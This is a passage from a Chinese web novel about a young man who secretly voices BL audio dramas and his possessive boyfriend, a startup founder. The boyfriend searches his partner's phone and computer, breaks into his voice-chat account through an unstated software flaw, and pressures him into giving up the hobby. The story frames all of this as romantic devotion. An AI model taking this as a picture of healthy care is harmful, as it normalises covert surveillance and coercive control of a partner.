都同样的精力旺盛, 她做广播剧,不仅充当最繁琐的策划,还配音, 做代码宣传,审美一骑绝尘,读书这件事也没有拉下,去年她还拿到了奖学金。 而范窈为主策划的广播剧,至今没有一部坑掉。 受役找好了,攻役范窈也找好了,是一个她合作过两次cv。 沈泱还是趁着江措不在家的时候,去范窈家配好了音。 江措十九岁的生日过完,《不准动嘴》这部剧放出了第一集的音频。 第二天沈泱偷偷在卫生间里登录Q/Q小号,看到昨天凌晨,范窈给他发的消息。 范窈:【沈泱,我们这部戏,真的蛮热的,你知道吗?莫吉托的YY里昨天去了两千多个人,他平时开yy,一般情况也就三四百的人】 很多cv都挺喜欢把YY挂上的,《不准动嘴》里面的攻役莫吉托的狗就是其中之一,他也是大学生,校外租房,所以时间和空间都允许,几乎每天都挂在yy上。 沈泱又去看《不准动嘴》的Q/Q群,大家也都说反响不错,贴吧论坛全被他们的不准动嘴刷屏了。 沈泱很少有机会上YY,不过他开了名字叫困水的微博,这部戏播完的时候,竟然涨了好几万的粉丝。 范窈让沈泱可以发一些照片或者琐事在微博上,可以涨涨粉,而且大家关注他都代表喜欢他。 在中抓这个圈子,大家对于同性恋这件事接受程度是现实生活完全难以想象的包容,cv们经常会在YY上聊起自己的男朋友,大家听的津津有味。 沈泱的生活基本都是和江措交融在一起的。 除了穆宁然外,沈泱又有了一个分享的好去处。 【困水:男朋友给我买的新手机!!图片图片图片】 【困水:我觉得这件衣服挺丑的,我对象却觉得好看,你们看一看,是不是很丑!!!!图片图片】 【家里的饮水机坏了,修了半天没修好,里面的水全洒出来了,幸好对象这个时候回来了【激动】【庆幸】【感恩】】 【他真的好会惹我生气!!!!【怒】【怒】【怒】】 【原谅他啦】 【竟然造谣我私生活混乱,我就一个男朋友,只谈过他】 【女孩子们都是很可爱的,从来不以性取向辱骂指点一个人,有些男的,你到底是如何低劣恶心的教养,才会因为性取向产生优越感】 【有点想关私信,但还有很多可爱的粉丝呢,但再给我发生殖器的人,祝福你早晚染上花柳病!!!】 【一个人,睡不着】 【嘿嘿,配了一个新剧】 【看到有人爆料说困水长的奇形怪状,有碍观瞻,如果困水是一个丑人,世界上没有帅哥了啦!】 【摇春/转发@困水:我以我后半辈子的性/福起誓,困困超级大帅哥!!!我这辈子见过最帅的男孩子,没有之一!!!!】 【莫吉托的狗/转发@困水,见到困水的那一天,我的眼睛:美神降临!!!!(备注:只比我对象差一点点)】 【困水:我是皇帝,我的《醉浮生》开播啦啦啦啦啦!!】 《醉浮生》是《不准动嘴》播出两集后沈泱接的新剧,这部戏不是司糖社团出品,而是另外一个配音社团,中抓这个圈子是小众爱好,大家都是同好,一个叫鲲鹏在我脚下的策划找到了沈泱,想要邀请沈泱参与她的新剧。 它是一个古风剧,讲述的是崔林和顾风然两个人在权谋斗争中,相杀相爱的故事。 沈泱以前没配过古风剧,看完剧本就决定要接了。 他仍然只能去范窈家偷偷配音,范窈倒是很欢迎,只是这次古风剧沈泱以前从未接触过,返音重录的次数有点多。 《醉浮生》第一集上线的晚上,江措不在家,这一年智能手机开始普及,江措想做一个短视频软件,拉了两个学长在开始创业,这两个月忙的昼夜颠倒,沈泱因此有了多一点的自由时间。 最近经常上YY。 他进入房间后,房管就把他抱上麦,沈泱看见很多粉丝刷屏说困困来了,于是清了清嗓子,给大家说晚上好。 上了麦的人才可以说话,没上麦的粉丝们只能当观众,在屏幕上发文字消息。 今天是醉浮生的首播团建,沈泱不是能够暖场找话的人,不过他们组有个叫秦鸭蛋的cv特别能聊,串场游戏唱歌全都是他拉节目,频道里的气氛融洽热闹,直到另外一个叫我打死你的cv上了线,开始聊起了男朋友,热热闹闹的团建频道变成了生活频道。 “你和他都打算领养小孩了啊?”沈泱惊讶地说道。 我打死你啦比沈泱大了快十岁,低笑一声说道:“困水你还小,你还是大学生,不着急。” 弹幕有人科普领养的条件,我打死你和他对象都是高知分子,收入不菲,经济上没有任何的压力,而且他和对象都见过彼此的父母了,几年的拉锯下来,父母也接受了彼此的关系。 听他们聊了半天,沈泱想到了自己和江措,到了三十岁要领养一个小孩吗?认真又简单地思考了一番后,沈泱觉得不要,他不喜欢小孩子,小孩子都不爱干净,鼻涕眼泪会弄得到处都是,他不喜欢小孩子。 频道里热热闹闹地聊着天,沈泱似乎听到了开门声响了起来,不敢赌是不是幻觉,沈泱手速快出幻影,招呼都来不及打一声退出了YY,然后把这个软件迅速卸载,做完了这些后沈泱心跳急促地点开视频软件,找了一个电影播放。 卧室门被人打开了。 沈泱心跳剧烈地扭过头,尽可能用镇定地语气说:“江措,你回来了。” 又有点疑惑的语气,“你今天怎么回来的这么早?”江措最近都是不到十二点不回家的,哪怕十二点回家了,陪沈泱睡着了,沈泱半夜两三点醒过来,江措竟然还在客厅里工作。 江措没回答他的话,目光凝在沈泱看起来很淡定的神色上,走了进来,“在做什么?” “我看电影啊。” “嗯?” 沈泱立刻又说,“你周末有没有空啊,我很想看的一部电影上映了,你没空的话我就找别人陪我去看了。” 江措最近的确很忙,但陪伴的沈泱是不可以完全压缩的时间,他说了好,会陪沈泱去看想看的电影。 翌日是星期三,上完了课后沈泱发现他最近玩的那个网游要举办一个配音比赛,沈泱纠结了两天后,还是录制了几句话,朝游戏的指定邮箱发送了过去。 周六的下午,江措难得抽出一点时间,陪沈泱去电影院看了一部他想看的电影,这是一部漫威英雄电影,沈泱前几年看过他的第一部和第二部,今年上映的是第三部。 江措没看过一二,直接来看三,三是一个独立故事,没看过前情,但因为来看电影的路上,沈泱已经给他科普过一二两部,他完全能够看懂这个故事。 他对电影不是特别感兴趣,但沈泱看完了电影喜欢和人聊天,所以江措还是分了几分关注给电影,更多的关注则在沈泱身上。 看完了电影,江措陪沈泱在外面吃完了晚餐,再把沈泱送回家,江措没有留在家休息,亲了亲沈泱秀挺的鼻梁后,转身去了学校。 李冬在江措陪沈泱吃晚饭的途中,打了电话过来,告诉他陈总又提出了新要求,陈总是他们的三点的天使投资人。 和江措去年做的那个工具软件不同,工具软件是有需要的人会自行搜索下载,江措只需要自己在一些贴吧和论坛打广告就行,精准匹配用户,甚至不需要打广告,有需求的用户会自行搜索下载。 三点却需要推广需要投资,他们不是唯一做短视频的团队,并非没有竞品,只是对方也半死不活的,如何抢占市场是当务之急。 江措和陈总打了一个小时的电话,终于打消了对方不切实际的想法。 江措在学校的图书馆里申请了一间自修室,作为他们这个团队的办公室,江措不是没赚到钱,可是起码有二十万是不能动的,他必须要保证沈泱的生活水平,其他的二十多万对于普通的大学生来说是一笔巨款,可是如果要创业,简直是不值一提。 江措的团队里一共有三个人,李冬和陈平风都是他的直系学长,两个人一个大三,一个即将毕业。 两个人最初都不乐意加入江措的团队,尤其是陈平风,他已经找到了一份待遇非常优渥的实习工作,只是最终被江措说服了。 至于李冬,则是不服气,虽然去年江措在全国大学生算法大赛里拿了金奖,又在pl科技比赛中拿了奖牌,但他只是一个大一的小学弟。 他原来不是没拿过这些奖。 只是共事的这一段时间,李冬倒是从不屑逐渐转为佩服江措了,江措天赋出众,他明明大一还没有结束,但是基础知识已经比那些毕业生掌握的还要翔实,而且对代码极具创造天赋,写出来的代码利落又漂亮。 而且他是一个不达目的誓不罢休的狠人,比如遇到了一个难题,如果长时间没办法解决,他和陈平风都会心生烦躁,不想面对,想搁置一两天,说不准会想出办法。 江措只会面对,他只记得自己要达成的目的,不会被情绪困扰,所以他会平静且竭力地无止境尝试,宵衣旰食,日夜不停,直到达成自己的目的。 他的脑海里,好像没有做不到三个字。 “李冬,陈平风,我有一个想法。”江措这样说道。 李冬听完,眼睛忽然亮了起来,额手相庆道:“江措,你这个办法好,如果成功了,大部分网民都会知道我们这个软件。” 陈平风思索后颔首道:“的确是个以小搏大的好办法,可以一试。” 陈平风觉得江措这个人冷漠寡言,可的确是聪明,不仅是技术上的聪敏,还有一种对市场敏锐的聪明。 陈平风甚至有一种直觉,拒绝那份优渥的offer,和江措创业,或许是他今生最明智的决定。 江措的执行力很强,翌日李冬就按照江措的建议制造网络热点,接下来的十多天,江措每天的睡眠压缩至三个小时,精神处于压抑的亢奋中。 不过就算忙碌到一天只能睡两三个小时,他也会在周末抽出大半天的时间陪伴沈泱。 “你下午还是在家里睡觉吧。”沈泱作为江措的枕边人,不是不能发现江措这几个月来的忙碌,他简直是变成了铁打的人,比高中的时候还要忙碌,半夜沈泱醒过来,枕边没有人是司空见惯的事情。 “天热了,我说了这周要陪你去买几身夏装。” “我可以自己去买啊,边宇和顾宝安正好明天也要去买两身衣服。” “不想要别的男人给你挑衣服。”江措冷声道。 好吧好吧,他冷着脸讲这样的话,又站在通透的玄关处,黑衣黑裤黑发,身体挺拔眉目冷峻,江措这两个月似乎是瘦了一点,颌面线条愈发凌厉,有一种成年男人的独特性感。 沈泱的心跳声忽然快了两秒,音量变大一点,“那你不困吗?” “不困。”江措温声道。 沈泱想到昨天晚上,明明他回来的时候已经是三点了,但睡了两个小时后,竟然还能够精力旺盛地把他从床上叫起来,让他吃了好久的鱼,又觉得江措可能真的是钢铁铸成的人类身躯。 两个人去了学校附近一家偏高档的商场,下一周就是劳动节,商场里的夏装早就上新了,江措给沈泱买了几身价格不菲的新衣。 晚上,两人一起在商场顶楼的餐厅吃川菜,申城这边的饮食偏甜,沈泱不是很喜欢。 吃完了晚饭,两人乘坐电梯下楼,沈泱看到不远处有一家冰淇淋店,想要吃一个甜筒,最近天气转热,是可以允许沈泱吃冰淇淋了。 手里拎着的几个塑料袋放在椅子上,江措去冰淇淋店排队给沈泱买草莓味的甜筒。 沈泱刚准备在椅子上坐下来,旁边忽然响起一个女孩子的声音,“你好,请问你是困水吗?” 范窈在现实生活里,从来不叫沈泱的网名,这还是沈泱头次在现实里听到这两个字,他微微仰起头。 女孩和旁边的朋友都倒吸了一口凉气,短发女生连忙道:“我刚刚听到你和朋友讲话了,你的声音真的很像我认识的一个cv,你是困水吗?” 甜品站里没有太多的顾客,店员的速度快,江措伸出手从玻璃窗口里取出了那个属于沈泱的甜筒,转身朝他走了过来。 男人很高,在冷色调的商场大厅里,是毋庸置疑的鹤立鸡群的存在,黑色平价网面运动鞋踩在冷冰冰的大理石地面上,整个人也沾染上了一种冷硬而不好相与的气场。 沈泱的喉急速滚动,忙不迭地皱眉道:“我不是,你们认错人了。” “真的不是吗?可是你的声音好像啊。” “真的不是,你们别烦人了。”沈泱说完,大步流星地朝江措疾步走去,江措瞥了一眼方才和沈泱搭讪的两个女孩,将手里的甜筒递给沈泱,转身拿起沈泱放在藤编椅上的几个塑料袋。 两人并肩朝商场的门口走去,江措问:“刚刚那两个女生和你说了什么?” 嫩粉色的舌尖探出来,舔了一口冰淇淋,沈泱的心情因为这口冰淇淋平复不少,陡然听到江措问这样的话,他呼吸微微急促,虚张声势地道:“还能说什么?当然是问我要联系方式啦。” 江措眼神带着审视:“是吗?可是两个女孩都没有把手机拿出来。” “那你什么意思?你的意思是我撒谎骗你了?不然她们找我能什么事?”沈泱横眉怒目地指责他。 沈泱不是没想过向江措坦白,他不可能瞒着江措一辈子,但一直没能找到一个良好的时机,或许也不是因为没有找到一个良好的时机,而是不知道如何坦白,所以漫长的时间过去了,都觉得没有一个坦白的时机。 他色厉内荏地指责完他,又低下头咬了一大口冰淇淋,随后将冰激凌塞还江措的手里,嫌弃道:“你买的什么冰激凌啊,难吃死了。” 说完话,他气冲冲地朝前面冲去。 江措一只手拿着沈泱没吃完的冰激凌,另外一只手拎着塑料袋,连忙跟了上去。 沈泱的脾气来得快,回到家的时候也就所剩无几了,江措把沈泱的衣服洗完晾晒,两个人在客厅里亲了好一会儿嘴,江措忽然接到李冬打来的电话,说他们的软件崩了。 江措低下头,头埋在沈泱的胸口,是有点凶狠地吮了两口后,把沈泱从书桌上抱了下来,“软件崩了,我去看一看。” 上一周江措又租了一套房子,作为他们公司的创业基地,起初想租他和沈泱现在住的小区,但没有合适的,就在隔壁的小区租了一套套三。 李冬和陈平风最近就睡在那里。 江措走了,沈泱却还有点应激,酥麻疼痛感沿着那个点席卷全身,他呆呆地站了好一会儿,才回过神,拍了拍烫烫的脸颊,沈泱掀起衣服。 讨厌的江措顿珠,又给他吮得好大。 过了一会儿,沈泱给江措发了个消息,江措告诉沈泱,可能要很晚回来后,沈泱放了心,把自己的电脑拿到书房里,下载YY登录。 又在频道里和大家聊了一两个小时的天,沈泱退出yy,卸载软件,清除电脑上相关的痕迹,捧着手机上了床。 江措回家的时候是凌晨一点了。 蹑手蹑脚地推开房间,沈泱蜷缩在大床的中央,借着凄冷的月光盯着沈泱看了须臾,江措拿出沈泱放在床头柜上的手机,轻手轻脚走出卧室。 他在饮水机前接了一杯冷水喝完,年轻而冷峻的男人垂下头,熟稔地解锁了沈泱的手机。 江措向来是极关注沈泱的,当发现今天有两个可爱的女孩子找沈泱搭讪时,江措几乎是立刻朝他们看了过去,距离远,没办法听清楚女孩子到底说了什么,但嘴唇张合的形状不像是能加个□□,或者给个联系方式? 而且沈泱的表情似乎有些心虚。 对,沈泱在心虚。 他因为什么事心虚呢? 江措把沈泱的手机检查了个遍,□□短信所有的软件都看了一遍,还是没发现古怪的事情,江措又点开沈泱的微博,沈泱不怎么微博,只是偶尔刷一刷热搜新闻,关注和私信也没有任何奇怪的事情。 江措来到了书房,拉开椅子坐下,打开了沈泱的电脑。 沈泱的电脑只是用来打游戏和看动漫电视剧,他找到最近使用的软件,是几个视频软件以及Q/Q微信等等。 仍然没有什么异常。 江措的心里缓慢却不容忽视地生出了不快,一种失控的不快,沈泱一定有事瞒着自己,他分明强劲的手指在键盘上快速地点了好几下,屏幕迅速地变蓝之后,出来了最近各个软件的使用时间。 不对。 在密密麻麻的后台代码里,江措终于找到了问题,电脑今日使用时间长达五个小时,可是那个游戏只占两个小时,Q/Q半个小时,还有一个半小时,沈泱在干什么。 喉结剧烈一滚,男人的手指迅速地敲击键盘,发出一种淬冷的敲击声。 找到了。 YY。 江措眸色越来越沉,紧接着,他继续挖掘电脑的最底层代码,找到了一个账号。 江措下载了,输入了账号,代码页面只有账号没有密码,江措盯着密码看了一会儿,输入了一串数字。 密码显示错误。 他又输入了一串数字。 还是不对。 江措继续输入。 江措索性不再用正常且合理地方式登录这个账号,他花了一些时间,找到了软件的漏洞,以一种相当盗号的方式成功登录了这个账号。 出来一个陌生的名字。 困水。 并不是全然陌生,他曾经在沈泱的微博主页看到过一个推送的账号,似乎也叫困水,不过当时江措并没有投去太多关注。 他拿过沈泱的微博,搜索了困水这个账号。 出来一个头像是小雏菊的账号,拥有十几万的粉丝,后面跟着认真是cv,还写了《不准动嘴》《醉浮生》 沈泱并没有关注这个账号,江措一条一条地看下去,对方最近一条微博是在周三,宣传他的广播剧今天播出第三季了。 在看到他四月份发的一条微博时,江措的心脏在胸腔里不正常地跳动了起来。 困水:【今天吃了一个冒菜,头一次一边涮水一边吃】 时间地点全都能对上,沈泱会吃辣,但不是特别能吃辣的人,申城这边的菜辣度完全不能和他们老家相提并论。 中辣也就是久塘微辣的程度,于是那天吃饭的时候,沈泱要了一个超级辣,结果沈泱吃了两口开始狂喝水,吃第三口的时候让老板上了一碗清水,一边涮一边吃。 江措眼神一眨不眨地定在沈泱的手机上,花了大半个小时看完了困水的微博。 他打开了沈泱的电脑,先找到了不准动嘴的六集音频,又找到了浮生梦的三集音频。 江措点击了播放。 音频播放到一分十七秒,一个熟悉的几乎要刻入灵魂里的声音乍然映入江措的耳膜里,他脖颈上盘错的青筋瞬间暴起,臂膀的肌肉紧绷到一种不可思议的地步,双眸猩红—— 作者有话说: 第53章 沈泱睡醒了, 他揉了揉眼睛,翻了个身,整张脸埋在柔软的枕头里, 浑身软软地在床上躺了好几分钟, 他坐起身体,去够床头柜旁边的手机。 咦?他的手机呢? 床头柜上怎么没有他的手机。 沈泱掀开被子,仔仔细细地在床上找了一遍, 也没有他的手机。 沈泱拧眉起了床,趿拉着拖鞋走出房间。 现在是早上的七点半, 今日天气不好,狂风将窗外的梧桐和柏树吹得枝叶狂舞, 天空也阴沉沉的, 仿佛随时都会有暴雨倾盆而下。 卧室对面的房间就是书房, 沈泱一打开卧室的房门, 便看见了冷白色的光从书房的门缝里溢出来。 一双小鸡黄猫猫头的露趾凉拖出现在了书房门口, 随后沈泱推开房门, 江措两个字没有吐出来, 沈泱听到了极为熟悉的声音,是属于他的声音, 属于邹安青的声音回荡在了沈泱耳膜里。 在这一瞬间, 沈泱不敢去看江措的脸色, 他两只手无意识地攥紧衣摆,心脏忐忑地撞击着肋骨, 在还没有看清楚江措的脸色, 先心如擂鼓地讲道:“我原来就想要告诉你的,我的确在玩广播剧,我很喜欢。” 喉结急促滚动, 沈泱握紧拳头,抬眸。 江措的脸色不是他臆想中的暴怒,甚至还可以平静来描述他现在的面部表情,他的眼神投注在沈泱的身上,冷眉长眼,有一种宣泄结束后的淡然。 他眉压着眼,讲这样的话,“沈泱,我可以不计较你瞒了我这么久的事,只要你答应我,以后不要再玩这种东西了。” 沈泱情绪瞬间炸了起来,“我喜欢,我要一直玩下去。” 江措的眼神是一种难以描述的漆黑浓稠,仿佛有什么不可名状的东西彻底黏在了沈泱的每一寸肌肤,无论如何,也没办法清洗干净。 江措轻声说道:“我现在想要把你关在房子里草上十天十夜,我现在可以这样做吗?” 沈泱震惊道:“江措,你不讲理!我从来都没有干涉你做什么,你凭什么总是干涉我的行为。” 江措的呼吸声骤然粗重,肩背肌肉刹那间绷成磐石般的铁块,他微弓着腰,冲着沈泱喊道:“我做什么?我他妈不都是为了给你当牛做马,想要给你的好的生活吗?” “可是我喜欢,我就喜欢配音,我就要……江措,你怎么了?你生病了。” 一口鲜血猝然从江措的唇角溢出,与此同时,一道凄厉的闪电从窗前劈过,照耀出江措另外半边没染上鲜血,而毫无血色的嘴唇。 冷汗从他痉动的额头渗出,江措的神色有一种病理上的难看苍白。 沈泱顿时慌了,江措抬手,不在意地擦了擦唇角溢出的鲜血,身体一佝偻,又是鲜血从他的嘴角溢来,滑过他的瘦削的下颌,啪嗒一声,滴落在木质的地板上。 “江措,你怎么了,你什么时候生病了?”沈泱讲话的声音带了浓厚的哭腔,他疾步来到江措的旁边,抓住他的胳膊,才发现他的身体好冷,冷的沈泱心魂俱震,心头大骇。 江措反手抓住沈泱的手臂,他擦拭掉唇角的鲜血,没有擦拭得很干净,濡湿的血印残留在了他的颌骨上,他盯着沈泱,一眨不眨地追问:“沈泱,你以后还玩配音吗?还让十几万人甚至几十万人听到你是怎么喘的吗?” 眼泪顺着沈泱的脸颊不停滚落,沈泱急切道:“江措,我觉得你现在应该去医院,你到底怎么了啊?” “沈泱,还玩配音吗?”江措拔高了音量,质问道。 嘶哑难听的声音一滚出来,喉腔又传来明显的腥甜感,江措想要把这股感觉压制上去,适得其反,又是一抹鲜血染红了沈泱的眼睛。 “我不玩了行了吧,我不玩了行了吧,江措,你现在可以去医院了吧。”沈泱几乎是哭着吼出来的。 他拿书桌旁边的纸巾去擦江措唇角鲜红的血液,可擦不干净,怎么也擦不干净。 半个小时后,申城嘉明区人民医院急诊科。 “情绪太过激烈时胃酸分泌急剧增加,造成了严重的应激性溃疡,所以才会吐血。”医生拿着CT和胸片得出了检查结果。 又盯着双眼通红的沈泱交代了一句,“别太担心了,你朋友不会死的。” 医生又问江措:“吐血的原因是情绪太激烈导致的,但检查结果,你身体有很多问题,比如亚健康,劳累过度,心率不齐,急性胃炎。” 江措过了一会儿,说道:“这两天胃有点疼和胀。” 医生打量他几眼,“同学,你倒是挺能忍啊,这要是换个人,早就疼的跑医院了,你还只是有点胃疼和胃胀。” “我提醒你,别以为你年轻,身体就不会出大毛病,我前几天遇到一个病人,也才十九岁,胃不舒服了半年不治,检查一出来,已经是胃癌了,还有一个病人,才十八岁,胰腺癌!” 沈泱浑身一哆嗦,面白如纸,“王医生,他不会吧。” “现在倒是不会,不过要注意休息,三餐规律,我给你开一个住院单,你住两天院吧,调养一下。” 王医生开了住院单,沈泱去楼下办理住院手续,回到病房时,江措没躺在病床上休息,而是在和李冬打电话,说一些沈泱不知道的专业名词。 沈泱在他身后站了两分钟,听李冬问江措什么时候来工作室,沈泱踮起脚伸长手臂蓦地把手机从江措手里抢了过去,“他都住院了,这两天不去工作室了。” 不讲理地朝着李冬宣泄完自己的怒气,沈泱把手机扔给江措。 年初的时候江措给沈泱买了新手机,江措现在的手机是沈泱上一个旧手机。 短暂的暴雨之后,天空放了晴,消化内科的病房在十四楼,江措身旁是透亮的窗户,阳光从旁边灌入,沈泱发现他不仅是脸色苍白,颌骨和颧骨都因为这段时间的消瘦变得明显。 沈泱忽然意识到,江措不是什么钢铁筋骨筑成的坚不可摧的男人,他和沈泱一样,是由水蛋白质脂肪糖类矿物质组成的脆弱身体,长时间的宵衣旰食,昼夜不寐,也是会出现问题的,尽管大部分时候,江措是要比很多普通人类强壮优胜许多。 “宝宝,怎么眼睛又红了,我不会有事的。”江措垂着头,指腹生涩地擦拭掉沈泱眼角刚刚溢出的眼泪,哑声说道。 沈泱眼泪一串一串地掉下来,又恶狠狠地说道:“你最好说到做到,不然我不仅又去玩配音,我还去接np剧。” “你敢!”江措冷漠寡言,不代表他不知道一些新鲜事物,尤其是他做的三点App,面向年轻人的视频软件,他当然知道np是什么意思。 一瞬间,几乎是紧咬着牙齿,从喉管里挤出几个暴怒的字。 “你那时候都病坏了,你就没办法管我了!” 江措深吸了一口气,“我会很快痊愈的。” 江措输液的时候,他睡着了,睡得不是很沉,眉头紧锁,时不时薄唇张合,吐出几个微不可闻的字。 沈泱低下头,耳朵凑近他的嘴巴,身体感受到酸胀之时,沈泱听清楚了江措喑哑的是什么。 “沈泱,不要,不要离开我。” 有时候沈泱真的很讨厌江措,很讨厌他的强势和霸道,可是他这样虚弱地躺在病床上,沈泱又宁可江措是强势霸道的。 奇怪的,沈泱又忽然想起了很多年前,他还在读小学的时候,他和朋友们约定了去游乐园玩,黄昏的时候,所有的小朋友都要回家了,告诉他爸妈规定了六点之前回家,如果回去得晚了,是会挨揍的。 可是沈泱不会,他的爸爸忙于工作,继母虽然会关心沈泱,可是她也怀着孕,如果沈泱告诉她要多玩一会儿,对方都会很好讲话的答应。沈泱总是先和穆宁然回家,因为穆宁然的父母也在催促他回家了,在他家吃过晚饭后,穆爸爸才会把沈泱送回家。 沈泱接到了范窈的电话。 他接通了电话。 范窈声音惊喜:“沈泱,你看到回三的公告了吗?你进配音比赛的决赛了呢!!公告说,决赛是直播的形式,下周六,你能挤出时间参加吗?” “困困,你必须挤出时间参加,你知道吗?你的几个音频是播放量和下载量最多的,大家一致觉得你很有可能拿冠军呢。” 范窈当然兴奋,回三可是首屈一指的大型网游,配音比赛想要挖掘一些新人cv,如果沈泱最终能够获胜,哪怕不能获胜,给制作组的人留下很深刻的印象,如果下一次需要cv,会不会想到沈泱? “学姐,我不会参加决赛了。”沈泱轻轻地说。 范窈愣住了。 江措的身体素质比医生预计的好,两天后就可以出院了,出院前医生叮嘱他一日三餐和胃药都要准时吃,也就是这次住院,沈泱才发现江措的胃原来并不好,有许多应该注意的小问题。 《醉浮生》这部剧已经播到了第六集,导演把最后两集修改好的剧本发给了沈泱,让他一周内把干音交给他。 是在江措发现沈泱玩配音之前提的事,江措出院后,距离交干音的日子,只有两天了。 沈泱和江措商量,他要把这部戏最后两集配完。 江措一开始是不同意的,他听到沈泱配的那个不准动嘴的最后两集,恨不得立刻把网盘全网删除。 “我都没和莫吉一起配,亲嘴那亲的是我的手。” “那也不行。” 最后江措还是妥协了,允许了沈泱配完《醉浮生》的最后两集,从此以后,再也不要想着玩什么配音了,把自己的声音给全国人民听。 沈泱对江措的占有欲无语至极。 沈泱没有配音设备,还是只能去范窈家里配音。 江措和沈泱一起去了,江措是挤出时间去的,医生让他休息,他哪里有那么多的时间来休息?不过沈泱的事在他的所有的事项里优先级一直最高。 麦克风收音设备和软件沈泱早就用的驾轻就熟,也不是一开始那样,需要范窈指导了。 他拿着剧本进了范窈用来配音的房间。 范窈租的这套房子两室一厅,配音房连接着阳台,江措站在玻璃门外盯着沈泱,一开始沈泱似乎还有一丁点不习惯,时不时朝玻璃门外的他看两眼,又收回视线,盯着电脑,嘴唇张合。 俄顷,他便不再关注门外的江措和范窈,全神贯注,薄薄的粉唇张启,脸上神色一会儿惊诧,一会儿震怒,一会儿又带着点羞怯。 房子的隔音效果很好,江措并不能听到沈泱说了些什么,不过他看完了剧本,根据他的嘴型和情绪,大概也能猜到他说了什么。 范窈拿了一瓶矿泉水递给江措,“给。” “谢谢,我不渴。”江措没接。 范窈没强求,她盯着卧室里全身心投入的沈泱看了片刻,扭过头,眼神全都落在江措的身上,“沈泱很喜欢配音,而且他很有天赋。” 江措目光冷淡地掠过范窈,没接这话。 “他第一次担主役的剧就大爆特爆了,《醉浮生》现在也有很多人喜欢。” “所以他都有中抓kiss王的称号了。”江措额头的青筋微微跳动。 范窈:“……就是亲手亲手指而已,他又不会和其他人真亲!!” 江措垂着眼睫,心脏的跳动声传递到神经末梢,他眨也不眨地盯着房间里的沈泱。 范窈心想,何况沈泱这么会亲,那不也是天天和你亲,亲的太多了哪怕配音也配的炉火纯青吗? 范窈锲而不舍,“难道你就不希望沈泱做自己真心喜欢的事吗?你不觉得沉浸在爱好里的沈泱在闪闪发光吗?” “沈泱喜欢和我上床。”江措打断范窈的锲而不舍。 范窈脑瓜子传来一声嗡鸣,虽然这几年她也是见多识广,虎狼之词听了一箩筐,可是那是网配里,又不是现实生活里。 好半晌,范药心跳恢复正常,“那他也可以有点别的爱好吧,何况你挺忙的吧,难不成你在外面打拼事业,沈泱就必须天天待在家里等你回来。” “他没有天天在家等我回来。” 范窈:“……”为什么她听着这句话,还有点遗憾呢。 “他要上课,我没有干涉他正常的生活。”江措只是不太能接受沈泱要被很多人知晓,被很多人喜欢,这会让江措很恐惧,江措并不是无可取代的对象家人最重要的人,他又不能时时刻刻陪伴在沈泱身边,所以他必须穷尽一切减少沈泱离开他的可能性。 范窈又张嘴:“江措,你太霸道了,沈泱是一个独立自我的个体。” 江措眼睫都没有颤动一下,对范窈的话无动于衷,她又不清楚他和沈泱是怎么走到一起的,他懒得向无关紧要的人解释他和沈泱的事。 范窈嘴皮子都说干了,见江措完全不搭理她,她握着没喝完的半瓶水,气冲冲地回到了客厅里。 没有了烦人的嗡嗡声,江措一动不动地站在玻璃门外,挺拔颀长的身形微微垂头,目光锁在房间里全神贯注闪闪发光的青年身上,手背上的青筋无意识地抖动两下,他绷紧了下颌线。 《浮生梦》里,沈泱的角色清冷高贵,台词不多,他花了整整一个下午,配完了他的台词,把干音发给导演,沈泱朝范窈道了谢,离开了范窈家。 出了门才发现,电梯出了问题,两台电梯暂时都没办法正常上下行。 反正是下楼,两个人没等电梯维修好,步行往楼下走。 沈泱走在前面,江措走在他的身后。 一双两千块的球鞋和一双一百二的球鞋同时踩在冰冷坚硬的地砖上,哒哒的脚步声没有太明显的区别。 一只骨骼明显的手蓦然攥住那只莹润的手腕,手腕发力,将人往身后一拽。 沈泱被江措囚禁在了灰褐色的墙面和江措结实宽阔的胸膛之间。 “江……。” 话没说完,熟悉的气息涌入,撬开了沈泱寒凉的嘴唇,粗红的舌头灵活地在沈泱的口腔里搅动风雨,榨取他唇舌中的氧气,一只手却又牢牢地按在沈泱的后背上,将青年和自己胸膛相贴。 沈泱双颊发红,快没办法呼吸时,江措松开他的唇舌,旋即,按在他后腰上的那只手骤然加力,恨不得能将两人的骨骼血肉镶嵌在一起。 男人薄湿的嘴唇划过沈泱的冰凉的耳廓,江措嗓音低沉沙哑,带着一点点难以察觉的恐惧,“宝宝,不可以离开我,一辈子都不可以离开我。” 沈泱快被江措抱得没办法呼吸了,他大力捶打了好几下江措的后背,仰着头,吭哧吭哧地呼气。 江措若有所察,按在他后背上的大手放松力气。 沈泱没好气地踹了他两脚,因为刚刚的呼吸不畅,他眼尾湿红,双颊红唇,丰润的红唇一起一合,“你天天恨不得把我揣在兜里,我能怎么离开你,倒是你……” 沈泱上下打量江措一番。 大一快结束了,江措从高原来到平原快一整年了,深褐色的皮肤变得白净,他眉眼轮廓深邃,眼角的伤疤如果不是凑近仔细看,正常的社交距离是没办法发现的。 可不只是有人喜欢沈泱,沈泱也曾发现过女同学对江措告白呢。 他横了江措一眼,鼻间里发出一声轻哼,“你这个大混蛋,说不准过两年你眼睛瞎了,看上其他花枝招展的男孩子,是你想要甩了……” 嘴巴被一只干燥的大手堵住了。 沈泱只能发出呜呜的声音。 “沈泱,如果这辈子我会想离开你,我就拿把刀,自己把自己心剖出来。” 沈泱瞪着他:“呜呜呜呜。” 湿热的嘴唇碰触着男人宽大的手掌,潮湿和细腻席卷神经末梢,江措凸起的喉结剧烈滚动几下,收敛神色,松开了捂着沈泱的嘴唇的手。 沈泱:“你给我记住你今天说的话,这辈子要是敢喜欢别的人,就拿把刀,自己把自己弄死!!” “嗯。”江措垂着头,哑声允诺。 沈泱刚准备继续下楼,就见楼梯口有两个不认识的女孩子,一脸尴尬地望着他,见她看过去,两个女孩子慌慌张张地挪开了视线。 沈泱气血瞬间涌到了头顶,手腕一动,朝江措的胸口恶狠狠地肘击过去。 江措神色没改半分,双膝一弯,将漂亮的少年打横抱起,目不斜视地下了楼。 走到单元楼门口才发现竟然下起了雨,沈泱还在犹豫要不要冒着雨回家,绵绵细雨瞬间变成了倾盆大雨。 过了几分钟,暴风雨小了一些,江措说:“你在这里等我,对面有个小卖部,我去买把伞再来接你。” 也没给沈泱说话的机会,江措话一说完,扣起帽衫的帽子,挺拔俊朗的身影迈出了单元楼,阔步朝着小卖部而去。 沈泱下意识推开门想要追上,江措的背影急速地消失在暴风雨中,沈泱追赶不上,而江措没让他等太久,不过两三分钟,就顶着一把黑色塑料大伞,栉风沐雨,出现在了沈泱的眼前。 